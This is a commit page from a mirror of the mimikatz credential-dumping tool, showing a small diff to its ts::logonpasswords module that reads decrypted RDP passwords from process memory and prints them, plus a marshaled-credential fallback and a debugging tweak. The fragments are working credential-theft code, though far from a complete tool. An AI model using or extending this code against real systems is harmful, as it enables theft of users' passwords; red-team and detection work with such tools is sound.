RepoMirrors/mimikatz
1
0
Fork 0
mirror of https://github.com/gentilkiwi/mimikatz synced 2025-01-30 17:01:33 +00:00
Code Issues Packages Projects Releases Wiki Activity

[fix] mimikatz ts::logonpassword removed junk data after credentials

Browse Source
This commit is contained in:
Benjamin DELPY 2021-08-10 17:21:25 +02:00
parent d05fa5d43f
commit 7f02230226
3 changed files with 5 additions and 4 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

6
mimikatz/modules/kuhl_m_ts.c
View File

@ -315,10 +315,10 @@ BOOL CALLBACK kuhl_m_ts_logonpasswords_MemoryAnalysis(PMEMORY_BASIC_INFORMATION
if(decStatus)
{
dwOffset = (lstrlen(pWebKiwiData->Password.Buffer) + 1) * sizeof(wchar_t);
kprintf(L" Password/Pin: %s\n |_ supp data: ", pWebKiwiData->Password.Buffer);
kull_m_string_wprintf_hex((PBYTE) pWebKiwiData->Password.Buffer + dwOffset, pWebKiwiData->Password.Length - dwOffset, 1);
kprintf(L"\n");
kprintf(L" Password/Pin: %s\n ", pWebKiwiData->Password.Buffer);
}
else kuhl_m_sekurlsa_trymarshal(&pWebKiwiData->Password);
LocalFree(pWebKiwiData->Password.Buffer);
}
}

1
mimikatz/modules/kuhl_m_ts.h
View File

@ -10,6 +10,7 @@
#include "../../modules/kull_m_process.h"
#include "../../modules/kull_m_memory.h"
#include "../../modules/kull_m_crypto_remote.h"
#include "sekurlsa/kuhl_m_sekurlsa.h"
const KUHL_M kuhl_m_ts;

2
mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c
View File

@ -1419,7 +1419,7 @@ VOID kuhl_m_sekurlsa_trymarshal(PCUNICODE_STRING MarshaledCredential)
kprintf(L"[UsernameForPacked] ?");
break;
default:
kprintf(L"[?] ?");
kprintf(L"[?] ? %u ?", type);
}
CredFree(Credential);
}